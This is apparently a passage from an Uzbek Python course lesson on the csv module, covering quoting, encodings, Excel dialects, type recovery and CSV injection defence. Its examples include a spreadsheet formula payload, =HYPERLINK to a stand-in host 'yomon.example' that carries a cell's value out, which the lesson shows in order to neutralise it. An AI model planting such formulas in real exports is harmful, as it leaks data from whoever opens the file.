IlmHamroh
Python kursi/Malumot formatlari3/8-dars23 daqiqa
Mundarija (23)

16.3-dars: csv

16-QISM — MA'LUMOT FORMATLARI · 3-dars


1. Kirish va motivatsiya

CSV — "vergul bilan ajratilgan qiymatlar". Buxgalteriya eksporti, bank ko'chirmasi, Excel jadvali, davlat ochiq ma'lumotlari, CRM dan mijozlar ro'yxati — ularning aksariyati CSV ko'rinishida keladi. Format shunchalik oddiy ko'rinadiki, ko'pchilik uni split(",") bilan o'qiydi.

Real vaziyat. Marketing bo'limi mijozlar ro'yxatini Excel'dan CSV qilib yubordi. Dasturchi yozdi:

python
for qator in open("mijozlar.csv"):
    ism, manzil, telefon = qator.strip().split(",")

Birinchi kun — ValueError: too many values to unpack: manzil "Toshkent, Chilonzor 5" ichida vergul bor edi. Tuzatilgach, birinchi ustun nomi ism emas, \ufeffism ekani ma'lum bo'ldi — Excel faylni BOM bilan saqlagan. Keyin hisobot Excel'da ochilganda o'zbekcha harflar OÊ»gÊ»iloy bo'lib ko'rindi. Summalar 125000,50 edi — o'nli vergul, ajratgich esa nuqta-vergul. Eng yomoni oxirida chiqdi: bir mijozning ismi =HYPERLINK("http://...") edi va eksport qilingan fayl buxgalter kompyuterida formula sifatida ishga tushdi.

csv moduli qo'shtirnoq, ichki vergul va qator uzilishlarini to'g'ri ishlaydi. Qolganini — kodlash, Excel lahjasi, turlar va xavfsizlik — bu darsda o'rganamiz.

Bu darsda:

  • reader/writer: qo'shtirnoq qoidalari va ichki qator uzilishi
  • newline="" — nega majburiy
  • DictReader/DictWriter: restkey, restval, extrasaction
  • Hamma narsa satr: turlarni tiklash, None va bo'sh satr
  • quoting rejimlari: QUOTE_NONNUMERIC, QUOTE_STRINGS, QUOTE_NOTNULL
  • Lahjalar: delimiter, Sniffer, register_dialect
  • Excel: BOM, utf-8-sig, nuqta-vergul va o'nli vergul
  • CSV injection — formulalar orqali hujum
  • Amaliy: bank ko'chirmasini import qilish

2. Nazariya — chuqur tushuntirish

2.1. CSV qoidalari (RFC 4180)

Qoida Misol
Maydonlar ajratgich bilan a,b,c
Ajratgich, qo'shtirnoq yoki qator uzilishi bor maydon — qo'shtirnoqda "Toshkent, Chilonzor"
Qo'shtirnoq ichidagi qo'shtirnoq — ikkilanadi "U ""salom"" dedi"
Qator oxiri — \r\n writer sukut bo'yicha
Sarlavha qatori — ixtiyoriy Format o'zi buni bilmaydi

CSV da turlar yo'q: 25, True, 2026-09-17 — hammasi satr. Standart ham qat'iy emas: ajratgich, kodlash, o'nli belgi dasturdan dasturga farq qiladi.

2.2. reader va writer

python
with open("a.csv", "w", encoding="utf-8", newline="") as f:
    yozuvchi = csv.writer(f)
    yozuvchi.writerow(["ism", "manzil"])
    yozuvchi.writerows(qatorlar)

with open("a.csv", encoding="utf-8", newline="") as f:
    for qator in csv.reader(f):          # qator — list[str]
        ...
writer qiymati Yoziladi
"a,b" "a,b"
'q"t' "q""t"
None bo'sh
1.5, True 1.5, True (str() orqali)

reader.line_num — o'qilgan fizik qatorlar soni (ichki qator uzilishi bor maydon bir nechta qator hisoblanadi) — xato xabarlari uchun.

2.3. newline=""

Holat Muammo
Yozishda newline berilmasa Windows'da writer ning \r\n i \r\r\n ga aylanadi — Excel'da har qator orasida bo'sh qator
O'qishda newline berilmasa Qo'shtirnoq ichidagi \r\n jim \n ga aylanadi

Qoida: CSV faylni har doim newline="" bilan oching. Qator oxirlarini csv moduli o'zi boshqaradi.

2.4. DictReader va DictWriter

Parametr Ma'nosi
fieldnames Ustun nomlari; DictReader da berilmasa — birinchi qatordan
restkey (sukut None) Ortiqcha qiymatlar shu kalit ostida ro'yxat bo'lib
restval (sukut None) Yetishmayotgan ustunlar qiymati
extrasaction="raise" DictWriter da noma'lum kalit — ValueError
extrasaction="ignore" Noma'lum kalitlar tashlab yuboriladi
writeheader() Sarlavha qatorini yozadi

DictReader bo'sh qatorlarni o'tkazib yuboradi; reader esa [] qaytaradi.

2.5. Qo'shtirnoq rejimlari (quoting)

Rejim Yozishda O'qishda
QUOTE_MINIMAL (sukut) Faqat kerak bo'lganda Hammasi satr
QUOTE_ALL Hamma maydon Hammasi satr
QUOTE_NONNUMERIC Son bo'lmaganlar Qo'shtirnoqsizlar → float
QUOTE_NONE Hech qachon — escapechar kerak
QUOTE_STRINGS (3.12+) Satrlar; None — bo'sh Qo'shtirnoqsiz bo'sh → None, boshqalari → float
QUOTE_NOTNULL (3.12+) None dan boshqasi Qo'shtirnoqsiz bo'sh → None

QUOTE_STRINGS/QUOTE_NOTNULL — None va "" farqini saqlashning yagona standart usuli.

2.6. Lahjalar

Parametr Sukut (excel)
delimiter ,
quotechar "
doublequote True
escapechar None
lineterminator \r\n (faqat yozishda)
skipinitialspace False — a, "b,c" noto'g'ri bo'linadi
strict False — True da buzuq qo'shtirnoq csv.Error

Tayyor lahjalar: excel, excel-tab, unix (\n va QUOTE_ALL). O'zingizniki: csv.register_dialect("nom", delimiter=";").

csv.Sniffer — namunadan lahjani taxmin qiladi: sniff(namuna) → lahja, has_header(namuna) → bool. Evristika — xato qilishi mumkin; aniqlay olmasa csv.Error: Could not determine delimiter.

2.7. Excel va mintaqaviy sozlamalar

Muammo Sabab Yechim
Excel UTF-8 ni buzib ko'rsatadi BOM siz faylni eski kodlashda o'qiydi Yozishda encoding="utf-8-sig"
Birinchi kalit \ufeffism BOM li fayl utf-8 da o'qilgan O'qishda utf-8-sig (BOM bo'lmasa ham ishlaydi)
Hamma ma'lumot bitta ustunda O'nli vergulli mintaqada Excel ; kutadi delimiter=";" yoki Sniffer
125000,50 son emas O'nli vergul Decimal(s.replace(" ", "").replace(",", "."))
00123 → 123, uzun ID → 1.23E+17 Excel avtomatik tur beradi Excel muammosi; CSV da satr to'g'ri saqlangan

2.8. CSV injection

Excel/LibreOffice =, +, -, @ (shuningdek tab va \r) bilan boshlangan hujayrani formula deb talqin qiladi. Foydalanuvchi kiritgan ma'lumot eksport qilinsa, formula boshqa odamning kompyuterida ishga tushishi mumkin (ma'lumot sizishi, tashqi havolalar).

Himoya Qanday
Xavfli boshlanishni zararsizlantirish Oldiga ' qo'shish: '=1+2
Faqat eksportda Bazadagi asl qiymat o'zgarmaydi
Son maydonlariga emas -3 — haqiqiy son; faqat matn maydonlariga qo'llang

csv moduli buni qilmaydi — bu dastur mas'uliyati.

2.9. Katta fayllar

Imkoniyat Izoh
reader — iterator Butun faylni xotiraga yuklamaydi
csv.field_size_limit() Sukut 131072 belgi; oshsa csv.Error: field larger than field limit
Ko'p ustunli tahlil pandas (24-qism)

3. Tez ma'lumotnoma

python
import csv

with open(yol, encoding="utf-8-sig", newline="") as f:
    for yozuv in csv.DictReader(f, delimiter=";"):
        ...

with open(yol, "w", encoding="utf-8-sig", newline="") as f:
    yozuvchi = csv.DictWriter(f, fieldnames=["ism", "summa"], extrasaction="ignore")
    yozuvchi.writeheader()
    yozuvchi.writerows(yozuvlar)

lahja = csv.Sniffer().sniff(f.read(4096)); f.seek(0)
reader.line_num                                      # xato xabari uchun
csv.writer(f, quoting=csv.QUOTE_NOTNULL)             # None va "" farqi

Qoidalar

har doim newline=""
o'qish: utf-8-sig; Excel uchun yozish: utf-8-sig
split(",") — hech qachon
hamma qiymat satr — turlarni aniq tiklang
eksportda foydalanuvchi matni: = + - @ bilan boshlansa zararsizlantiring
xatoda line_num ni ko'rsating

4. Batafsil misollar

Misol 1 — reader, writer va qator oxirlari

python
"""split(',') nega buziladi; writer qo'shtirnoq qoidalari; ichki qator uzilishi; newline='' siz \\r\\r\\n; line_num; bo'sh qatorlar; skipinitialspace."""

import csv
import io
import tempfile
from pathlib import Path


def main() -> None:
    print("=== 1. ⚠️ split(',') ===")
    qator = 'Aziz,"Toshkent, Chilonzor 5",+998901234567'
    print(f"  split:  {qator.split(',')}")
    print(f"  reader: {next(csv.reader([qator]))}")

    print("\n=== 2. writer qo'shtirnoq qoidalari ===")
    bufer = io.StringIO()
    csv.writer(bufer).writerow(["oddiy", "vergul, bor", 'U "salom" dedi', "ikki\nqator", None, 1.5, True, ""])
    print(f"  {bufer.getvalue()!r}")
    qaytgan = next(csv.reader(io.StringIO(bufer.getvalue())))
    print(f"  qaytgan: {qaytgan}")
    print(f"  ⚠️ None va '' farqi yo'qoldi: {qaytgan[4] == qaytgan[7] == ''}; 1.5 turi: {type(qaytgan[5]).__name__}")

    print("\n=== 3. ⚠️ newline='' ===")
    with tempfile.TemporaryDirectory() as katalog:
        yol = Path(katalog) / "a.csv"
        # Windows'da newline berilmasa, "\n" → "\r\n" tarjimasi shunday ishlaydi:
        with open(yol, "w", encoding="utf-8", newline="\r\n") as f:
            csv.writer(f).writerows([["a", "b"], ["c", "d"]])
        print(f"  tarjima bilan: {yol.read_bytes()}  ← Excel'da bo'sh qatorlar")
        with open(yol, "w", encoding="utf-8", newline="") as f:
            csv.writer(f).writerows([["izoh", "birinchi\r\nikkinchi"], ["c", "d"]])
        print(f"  newline='':    {yol.read_bytes()}")
        with open(yol, encoding="utf-8") as f:
            print(f"  o'qish, newline siz: {next(csv.reader(f))[1]!r}  ← \\r\\n jim o'zgardi")
        with open(yol, encoding="utf-8", newline="") as f:
            print(f"  o'qish, newline='': {next(csv.reader(f))[1]!r}")

    print("\n=== 4. line_num va bo'sh qatorlar ===")
    matn = 'id,izoh\n1,"ko\'p\nqatorli"\n\n2,oddiy\n'
    oquvchi = csv.reader(io.StringIO(matn))
    for yozuv in oquvchi:
        print(f"  line_num={oquvchi.line_num} (yozuv shu qatorda tugadi): {yozuv}")
    print(f"  DictReader bo'sh qatorni o'tkazadi: {[d['id'] for d in csv.DictReader(io.StringIO(matn))]}")

    print("\n=== 5. Ajratgichdan keyingi bo'shliq ===")
    print(f"  sukut:                 {next(csv.reader(['a, \"b,c\"']))}")
    print(f"  skipinitialspace=True: {next(csv.reader(['a, \"b,c\"'], skipinitialspace=True))}")

    print("\n=== 6. Buzuq qo'shtirnoq ===")
    print(f"  strict=False: {list(csv.reader(['a,\"yopilmagan']))}")
    try:
        list(csv.reader(['a,"yopilmagan'], strict=True))
    except csv.Error as xato:
        print(f"  strict=True: csv.Error: {xato}")


if __name__ == "__main__":
    main()

Natijaning muhim qismi:

text
=== 1. ⚠️ split(',') ===
  split:  ['Aziz', '"Toshkent', ' Chilonzor 5"', '+998901234567']
  reader: ['Aziz', 'Toshkent, Chilonzor 5', '+998901234567']

=== 2. writer qo'shtirnoq qoidalari ===
  'oddiy,"vergul, bor","U ""salom"" dedi","ikki\nqator",,1.5,True,\r\n'
  qaytgan: ['oddiy', 'vergul, bor', 'U "salom" dedi', 'ikki\nqator', '', '1.5', 'True', '']
  ⚠️ None va '' farqi yo'qoldi: True; 1.5 turi: str

=== 3. ⚠️ newline='' ===
  tarjima bilan: b'a,b\r\r\nc,d\r\r\n'  ← Excel'da bo'sh qatorlar
  newline='':    b'izoh,"birinchi\r\nikkinchi"\r\nc,d\r\n'
  o'qish, newline siz: 'birinchi\nikkinchi'  ← \r\n jim o'zgardi
  o'qish, newline='': 'birinchi\r\nikkinchi'

=== 4. line_num va bo'sh qatorlar ===
  line_num=1 (yozuv shu qatorda tugadi): ['id', 'izoh']
  line_num=3 (yozuv shu qatorda tugadi): ['1', "ko'p\nqatorli"]
  line_num=4 (yozuv shu qatorda tugadi): []
  line_num=5 (yozuv shu qatorda tugadi): ['2', 'oddiy']
  DictReader bo'sh qatorni o'tkazadi: ['1', '2']

=== 5. Ajratgichdan keyingi bo'shliq ===
  sukut:                 ['a', ' "b', 'c"']
  skipinitialspace=True: ['a', 'b,c']

=== 6. Buzuq qo'shtirnoq ===
  strict=False: [['a', 'yopilmagan']]
  strict=True: csv.Error: unexpected end of data

Nima ko'rsatdi: 2.1, 2.2, 2.3, 2.6-bo'limlar.

Misol 2 — DictReader, DictWriter va turlar

python
"""restkey/restval; extrasaction; BOM va \\ufeff kalit; hamma narsa satr; turlarni tiklash; QUOTE_NONNUMERIC, QUOTE_STRINGS, QUOTE_NOTNULL."""

import csv
import io
from datetime import date
from decimal import Decimal


def main() -> None:
    print("=== 1. Noto'g'ri uzunlikdagi qatorlar ===")
    matn = "ism,yosh\nAli,25,ortiqcha\nVali\n"
    for yozuv in csv.DictReader(io.StringIO(matn)):
        print(f"  sukut: {yozuv}")
    for yozuv in csv.DictReader(io.StringIO(matn), restkey="_ortiqcha", restval=""):
        print(f"  restkey/restval: {yozuv}")

    print("\n=== 2. DictWriter va noma'lum kalitlar ===")
    bufer = io.StringIO()
    yozuvchi = csv.DictWriter(bufer, fieldnames=["ism", "yosh"], lineterminator="\n")
    yozuvchi.writeheader()
    try:
        yozuvchi.writerow({"ism": "Ali", "yosh": 25, "parol": "sir"})
    except ValueError as xato:
        print(f"  extrasaction='raise': ValueError: {xato}")
    csv.DictWriter(bufer, fieldnames=["ism", "yosh"], extrasaction="ignore", lineterminator="\n").writerow(
        {"ism": "Ali", "yosh": 25, "parol": "sir"})
    yozuvchi.writerow({"ism": "Vali"})
    print(f"  natija: {bufer.getvalue()!r}")

    print("\n=== 3. ⚠️ BOM ===")
    baytlar = "ism,yosh\nOʻgʻiloy,25\n".encode("utf-8-sig")
    yozuv = next(csv.DictReader(io.StringIO(baytlar.decode("utf-8"))))
    print(f"  utf-8:     kalitlar {list(yozuv)}, yozuv.get('ism') = {yozuv.get('ism')}")
    yozuv = next(csv.DictReader(io.StringIO(baytlar.decode("utf-8-sig"))))
    print(f"  utf-8-sig: kalitlar {list(yozuv)}, yozuv.get('ism') = {yozuv.get('ism')}")
    print(f"  utf-8-sig BOM siz faylda ham: {'ism'.encode('utf-8').decode('utf-8-sig') == 'ism'}")

    print("\n=== 4. ⚠️ Hamma narsa satr — turlarni tiklash ===")
    matn = "sana,summa,faol,izoh\n17.09.2026,\"125 000,50\",ha,\n18.09.2026,45000,yo'q,tez\n"
    for xom in csv.DictReader(io.StringIO(matn)):
        kun, oy, yil = map(int, xom["sana"].split("."))
        toza = {
            "sana": date(yil, oy, kun),
            "summa": Decimal(xom["summa"].replace(" ", "").replace(",", ".")),
            "faol": {"ha": True, "yo'q": False}[xom["faol"]],
            "izoh": xom["izoh"] or None,
        }
        print(f"  {dict(xom)} → {toza}")

    print("\n=== 5. Qo'shtirnoq rejimlari ===")
    qator = ["matn", 42, 2.5, None, ""]
    for nom in ("QUOTE_MINIMAL", "QUOTE_ALL", "QUOTE_NONNUMERIC", "QUOTE_STRINGS", "QUOTE_NOTNULL"):
        rejim = getattr(csv, nom)
        bufer = io.StringIO()
        csv.writer(bufer, quoting=rejim, lineterminator="").writerow(qator)
        qaytgan = next(csv.reader(io.StringIO(bufer.getvalue()), quoting=rejim))
        print(f"  {nom:17} {bufer.getvalue():26} → {qaytgan}")

    print("\n=== 6. QUOTE_NONE ===")
    bufer = io.StringIO()
    try:
        csv.writer(bufer, quoting=csv.QUOTE_NONE).writerow(["a,b"])
    except csv.Error as xato:
        print(f"  escapechar siz: csv.Error: {xato}")
    csv.writer(bufer, quoting=csv.QUOTE_NONE, escapechar="\\", lineterminator="").writerow(["a,b", "c"])
    print(f"  escapechar='\\\\': {bufer.getvalue()}")


if __name__ == "__main__":
    main()

Natijaning muhim qismi:

text
=== 1. Noto'g'ri uzunlikdagi qatorlar ===
  sukut: {'ism': 'Ali', 'yosh': '25', None: ['ortiqcha']}
  sukut: {'ism': 'Vali', 'yosh': None}
  restkey/restval: {'ism': 'Ali', 'yosh': '25', '_ortiqcha': ['ortiqcha']}
  restkey/restval: {'ism': 'Vali', 'yosh': ''}

=== 2. DictWriter va noma'lum kalitlar ===
  extrasaction='raise': ValueError: dict contains fields not in fieldnames: 'parol'
  natija: 'ism,yosh\nAli,25\nVali,\n'

=== 3. ⚠️ BOM ===
  utf-8:     kalitlar ['\ufeffism', 'yosh'], yozuv.get('ism') = None
  utf-8-sig: kalitlar ['ism', 'yosh'], yozuv.get('ism') = Oʻgʻiloy
  utf-8-sig BOM siz faylda ham: True

=== 4. ⚠️ Hamma narsa satr — turlarni tiklash ===
  {'sana': '17.09.2026', 'summa': '125 000,50', 'faol': 'ha', 'izoh': ''} → {'sana': datetime.date(2026, 9, 17), 'summa': Decimal('125000.50'), 'faol': True, 'izoh': None}
  {'sana': '18.09.2026', 'summa': '45000', 'faol': "yo'q", 'izoh': 'tez'} → {'sana': datetime.date(2026, 9, 18), 'summa': Decimal('45000'), 'faol': False, 'izoh': 'tez'}

=== 5. Qo'shtirnoq rejimlari ===
  QUOTE_MINIMAL     matn,42,2.5,,              → ['matn', '42', '2.5', '', '']
  QUOTE_ALL         "matn","42","2.5","",""    → ['matn', '42', '2.5', '', '']
  QUOTE_NONNUMERIC  "matn",42,2.5,"",""        → ['matn', 42.0, 2.5, '', '']
  QUOTE_STRINGS     "matn",42,2.5,,""          → ['matn', 42.0, 2.5, None, '']
  QUOTE_NOTNULL     "matn","42","2.5",,""      → ['matn', '42', '2.5', None, '']

=== 6. QUOTE_NONE ===
  escapechar siz: csv.Error: need to escape, but no escapechar set
  escapechar='\\': a\,b,c

Nima ko'rsatdi: 2.4, 2.5, 2.7-bo'limlar.

Misol 3 — Lahjalar, Excel va CSV injection

python
"""Sniffer; o'nli vergul va nuqta-vergul; register_dialect; Excel uchun utf-8-sig; noto'g'ri kodlashda ko'rinish; CSV injection va zararsizlantirish; field_size_limit."""

import csv
import io

XAVFLI_BOSHLANISH = ("=", "+", "-", "@", "\t", "\r")


def zararsizlantir(qiymat: object) -> object:
    """Faqat matn maydonlari uchun: formula sifatida talqin qilinmasin."""
    if isinstance(qiymat, str) and qiymat.startswith(XAVFLI_BOSHLANISH):
        return "'" + qiymat
    return qiymat


def main() -> None:
    print("=== 1. Sniffer ===")
    namunalar = {
        "vergul": "ism,shahar,summa\nAli,Toshkent,45000\nVali,Samarqand,12000\n",
        "nuqta-vergul": "ism;shahar;summa\nAli;Toshkent;45000,50\nVali;Samarqand;12000,00\n",
        "tab": "ism\tshahar\nAli\tToshkent\nVali\tSamarqand\n",
    }
    for nom, namuna in namunalar.items():
        lahja = csv.Sniffer().sniff(namuna)
        print(f"  {nom:13} ajratgich={lahja.delimiter!r:5} sarlavha bor: {csv.Sniffer().has_header(namuna)}")
    try:
        csv.Sniffer().sniff("bitta ustun\nfaqat matn\n")
    except csv.Error as xato:
        print(f"  aniqlab bo'lmadi: csv.Error: {xato}")

    print("\n=== 2. ⚠️ Noto'g'ri ajratgich ===")
    matn = namunalar["nuqta-vergul"]
    print(f"  vergul bilan: {list(csv.reader(io.StringIO(matn)))[1]}")
    csv.register_dialect("excel_uz", delimiter=";", lineterminator="\r\n")
    print(f"  excel_uz:     {list(csv.reader(io.StringIO(matn), dialect='excel_uz'))[1]}")

    print("\n=== 3. ⚠️ Excel va kodlash ===")
    matn = "ism;shahar\nOʻgʻiloy;Qoʻqon\n"
    for kodlash in ("utf-8", "utf-8-sig"):
        baytlar = matn.encode(kodlash)
        print(f"  {kodlash:9} boshi: {baytlar[:5]!r}")
    print(f"  BOM siz fayl eski Windows kodlashida ko'rinishi: {matn.encode('utf-8').decode('cp1252', errors='replace').splitlines()[1]}")

    print("\n=== 4. ⚠️ CSV injection ===")
    mijozlar = [
        {"ism": "Aziz", "izoh": "doimiy mijoz", "balans": -3500},
        {"ism": '=HYPERLINK("http://yomon.example/?d="&A1,"Batafsil")', "izoh": "+998 90 123 45 67", "balans": 0},
        {"ism": "@SUM(1+1)", "izoh": "-chegirma kerak", "balans": 12000},
    ]
    for himoya in (False, True):
        bufer = io.StringIO()
        yozuvchi = csv.DictWriter(bufer, fieldnames=["ism", "izoh", "balans"], lineterminator="\n")
        yozuvchi.writeheader()
        for m in mijozlar:
            yozuvchi.writerow({k: zararsizlantir(v) for k, v in m.items()} if himoya else m)
        print(f"  himoya={'bor' if himoya else 'yoq'}:")
        for qator in bufer.getvalue().splitlines()[1:]:
            birinchi = next(csv.reader([qator]))[0]
            print(f"    {qator:70} formula: {birinchi.startswith(XAVFLI_BOSHLANISH)}")

    print("\n=== 5. Maydon hajmi chegarasi ===")
    print(f"  sukut: {csv.field_size_limit()}")
    katta = "id,matn\n1," + "x" * 200_000 + "\n"
    try:
        list(csv.reader(io.StringIO(katta)))
    except csv.Error as xato:
        print(f"  csv.Error: {xato}")
    eski = csv.field_size_limit(1_000_000)
    print(f"  oshirilgach: {len(list(csv.reader(io.StringIO(katta)))[1][1])} belgi o'qildi")
    csv.field_size_limit(eski)


if __name__ == "__main__":
    main()

Natijaning muhim qismi:

text
=== 1. Sniffer ===
  vergul        ajratgich=','   sarlavha bor: True
  nuqta-vergul  ajratgich=';'   sarlavha bor: True
  tab           ajratgich='\t'  sarlavha bor: False

=== 2. ⚠️ Noto'g'ri ajratgich ===
  vergul bilan: ['Ali;Toshkent;45000', '50']
  excel_uz:     ['Ali', 'Toshkent', '45000,50']

=== 3. ⚠️ Excel va kodlash ===
  utf-8     boshi: b'ism;s'
  utf-8-sig boshi: b'\xef\xbb\xbfis'
  BOM siz fayl eski Windows kodlashida ko'rinishi: Oʻgʻiloy;Qoʻqon

=== 4. ⚠️ CSV injection ===
  himoya=yoq:
    Aziz,doimiy mijoz,-3500                                                formula: False
    "=HYPERLINK(""http://yomon.example/?d=""&A1,""Batafsil"")",+998 90 123 45 67,0 formula: True
    @SUM(1+1),-chegirma kerak,12000                                        formula: True
  himoya=bor:
    Aziz,doimiy mijoz,-3500                                                formula: False
    "'=HYPERLINK(""http://yomon.example/?d=""&A1,""Batafsil"")",'+998 90 123 45 67,0 formula: False
    '@SUM(1+1),'-chegirma kerak,12000                                      formula: False

=== 5. Maydon hajmi chegarasi ===
  sukut: 131072
  csv.Error: field larger than field limit (131072)
  oshirilgach: 200000 belgi o'qildi

Nima ko'rsatdi: 2.6, 2.7, 2.8, 2.9-bo'limlar.

Misol 4 — Amaliy: bank ko'chirmasini import qilish

Buxgalteriya har oy turli banklardan ko'chirma yuklaydi. Bir bank vergul va nuqta ishlatadi, boshqasi — nuqta-vergul, o'nli vergul, BOM va dd.mm.yyyy sanalar; sarlavhalar ham har xil yozilgan (Sana, SUMMA, Izoh). Importyor lahjani aniqlaydi, sarlavhalarni normallashtiradi, har qatorni tekshiradi (fizik qator raqami bilan xato), dublikat tranzaksiyalarni topadi va Excel'da xavfsiz ochiladigan hisobot yozadi.

python
"""Ko'p manbali CSV import: utf-8-sig, Sniffer, sarlavha normallashtirish, sana va o'nli vergul, line_num bilan xatolar, dublikatlar, Excel uchun xavfsiz eksport."""

import csv
import io
import tempfile
from dataclasses import dataclass
from datetime import date, datetime
from decimal import Decimal, InvalidOperation
from pathlib import Path

BANK_A = '''sana,summa,kontragent,izoh
2026-09-01,1500000.00,"MChJ ""Nur""",Ijara
2026-09-03,-250000.50,Oʻgʻiloy,"Maosh, sentyabr"
2026-09-03,-250000.50,Oʻgʻiloy,"Maosh, sentyabr"
2026-09-05,abc,Bek,Xato summa
'''

BANK_B = """\ufeffSana; SUMMA ;Kontragent;Izoh
07.09.2026;-45 000,00;Qoʻqon filiali;"Transport
xarajati"
31.09.2026;12 000,00;Kamola;Notoʻgʻri sana
10.09.2026;98 500,25;=HYPERLINK("http://yomon.example");Toʻlov
11.09.2026;5 000,00
"""

SARLAVHALAR = {"sana": "sana", "summa": "summa", "kontragent": "kontragent", "izoh": "izoh"}


@dataclass(frozen=True)
class Tranzaksiya:
    sana: date
    summa: Decimal
    kontragent: str
    izoh: str


def sana_ol(matn: str) -> date:
    for shakl in ("%Y-%m-%d", "%d.%m.%Y"):
        try:
            return datetime.strptime(matn.strip(), shakl).date()
        except ValueError:
            continue
    raise ValueError(f"sana noto'g'ri: {matn!r}")


def summa_ol(matn: str) -> Decimal:
    toza = matn.replace(" ", "").replace(",", ".")
    try:
        return Decimal(toza)
    except InvalidOperation:
        raise ValueError(f"summa noto'g'ri: {matn!r}") from None


def import_qil(yol: Path) -> tuple[list[Tranzaksiya], list[str]]:
    tranzaksiyalar: list[Tranzaksiya] = []
    xatolar: list[str] = []
    with open(yol, encoding="utf-8-sig", newline="") as f:
        namuna = f.read(2048)
        f.seek(0)
        try:
            ajratgich = csv.Sniffer().sniff(namuna, delimiters=",;\t").delimiter
        except csv.Error:
            # Sniffer — evristika; zaxira: sarlavha qatorida eng ko'p uchragan belgi
            sarlavha_qatori = namuna.splitlines()[0]
            ajratgich = max(",;\t", key=sarlavha_qatori.count)
            xatolar.append(f"{yol.name}: Sniffer aniqlay olmadi, sarlavhadan {ajratgich!r} tanlandi")
        oquvchi = csv.reader(f, delimiter=ajratgich)
        sarlavha = [SARLAVHALAR.get(nom.strip().lower(), nom.strip().lower()) for nom in next(oquvchi)]
        yetishmaydi = set(SARLAVHALAR.values()) - set(sarlavha)
        if yetishmaydi:
            return [], [f"{yol.name}: ustunlar yo'q: {sorted(yetishmaydi)}"]
        boshlanish = oquvchi.line_num + 1
        for qator in oquvchi:
            joy = f"{yol.name}:{boshlanish}"
            boshlanish = oquvchi.line_num + 1
            if not qator:
                continue
            if len(qator) != len(sarlavha):
                xatolar.append(f"{joy}: {len(sarlavha)} ta ustun kutilgan, {len(qator)} ta keldi")
                continue
            yozuv = dict(zip(sarlavha, qator))
            try:
                tranzaksiyalar.append(Tranzaksiya(sana_ol(yozuv["sana"]), summa_ol(yozuv["summa"]),
                                                  yozuv["kontragent"].strip(), " ".join(yozuv["izoh"].split())))
            except ValueError as xato:
                xatolar.append(f"{joy}: {xato}")
    return tranzaksiyalar, xatolar


def xavfsiz(qiymat: str) -> str:
    return "'" + qiymat if qiymat.startswith(("=", "+", "-", "@", "\t", "\r")) else qiymat


def main() -> None:
    with tempfile.TemporaryDirectory() as katalog:
        r = Path(katalog)
        (r / "bank_a.csv").write_text(BANK_A, encoding="utf-8", newline="")
        (r / "bank_b.csv").write_bytes(BANK_B.replace("\n", "\r\n").encode("utf-8"))

        hammasi: list[Tranzaksiya] = []
        print("=== 1. Import ===")
        for yol in sorted(r.glob("bank_*.csv")):
            tranzaksiyalar, xatolar = import_qil(yol)
            hammasi.extend(tranzaksiyalar)
            print(f"  {yol.name}: {len(tranzaksiyalar)} yaroqli, {len(xatolar)} xato")
            for xato in xatolar:
                print(f"    ❌ {xato}")

        print("\n=== 2. Dublikatlar ===")
        korilgan: set[Tranzaksiya] = set()
        noyob: list[Tranzaksiya] = []
        for t in hammasi:
            if t in korilgan:
                print(f"  ⚠️ {t.sana} {t.summa} {t.kontragent}")
            else:
                korilgan.add(t)
                noyob.append(t)

        print("\n=== 3. Hisobot ===")
        noyob.sort(key=lambda t: (t.sana, t.summa))
        hisobot = r / "hisobot.csv"
        with open(hisobot, "w", encoding="utf-8-sig", newline="") as f:
            yozuvchi = csv.writer(f, delimiter=";")
            yozuvchi.writerow(["Sana", "Summa", "Kontragent", "Izoh"])
            for t in noyob:
                yozuvchi.writerow([t.sana.strftime("%d.%m.%Y"), str(t.summa).replace(".", ","),
                                   xavfsiz(t.kontragent), xavfsiz(t.izoh)])
        for qator in hisobot.read_text(encoding="utf-8-sig").splitlines():
            print(f"  {qator}")
        kirim = sum((t.summa for t in noyob if t.summa > 0), Decimal(0))
        chiqim = sum((t.summa for t in noyob if t.summa < 0), Decimal(0))
        print(f"  kirim: {kirim}, chiqim: {chiqim}, qoldiq: {kirim + chiqim}")
        print(f"  fayl BOM bilan boshlanadi: {hisobot.read_bytes().startswith(b'\xef\xbb\xbf')}")

        print("\n=== 4. Qayta o'qish tekshiruvi ===")
        with open(hisobot, encoding="utf-8-sig", newline="") as f:
            qaytgan = list(csv.DictReader(f, delimiter=";"))
        print(f"  qatorlar: {len(qaytgan)}, ko'p qatorli izoh buzilmagan: {any('Transport xarajati' == q['Izoh'] for q in qaytgan)}")


if __name__ == "__main__":
    main()

Natijaning muhim qismi:

text
=== 1. Import ===
  bank_a.csv: 3 yaroqli, 1 xato
    ❌ bank_a.csv:5: summa noto'g'ri: 'abc'
  bank_b.csv: 2 yaroqli, 3 xato
    ❌ bank_b.csv: Sniffer aniqlay olmadi, sarlavhadan ';' tanlandi
    ❌ bank_b.csv:4: sana noto'g'ri: '31.09.2026'
    ❌ bank_b.csv:6: 4 ta ustun kutilgan, 2 ta keldi

=== 2. Dublikatlar ===
  ⚠️ 2026-09-03 -250000.50 Oʻgʻiloy

=== 3. Hisobot ===
  Sana;Summa;Kontragent;Izoh
  01.09.2026;1500000,00;"MChJ ""Nur""";Ijara
  03.09.2026;-250000,50;Oʻgʻiloy;Maosh, sentyabr
  07.09.2026;-45000,00;Qoʻqon filiali;Transport xarajati
  10.09.2026;98500,25;"'=HYPERLINK(""http://yomon.example"")";Toʻlov
  kirim: 1598500.25, chiqim: -295000.50, qoldiq: 1303499.75
  fayl BOM bilan boshlanadi: True

=== 4. Qayta o'qish tekshiruvi ===
  qatorlar: 4, ko'p qatorli izoh buzilmagan: True

Nima ko'rsatdi: 2.2–2.8-bo'limlar.


5. To'g'ri va noto'g'ri tushunishlar

Noto'g'ri fikr To'g'risi
"CSV ni split(',') bilan o'qisa bo'ladi" Qo'shtirnoq ichidagi vergul va qator uzilishi buziladi
"CSV — bitta standart format" Ajratgich, kodlash, o'nli belgi — manbaga bog'liq
"reader sonlarni son qilib qaytaradi" Hammasi satr (QUOTE_NONNUMERIC bundan mustasno)
"newline='' — ixtiyoriy" Windows'da bo'sh qatorlar, ichki \r\n buziladi
"Excel UTF-8 ni o'zi taniydi" BOM kerak — utf-8-sig
"Bitta qator — bitta fizik qator" Qo'shtirnoq ichida qator uzilishi bo'lishi mumkin
"CSV — faqat matn, xavfsiz" Formula injection
"None va '' saqlanadi" Faqat QUOTE_STRINGS/QUOTE_NOTNULL bilan

6. Keng tarqalgan xatolar va yechimlari

1. split bilan o'qish

python
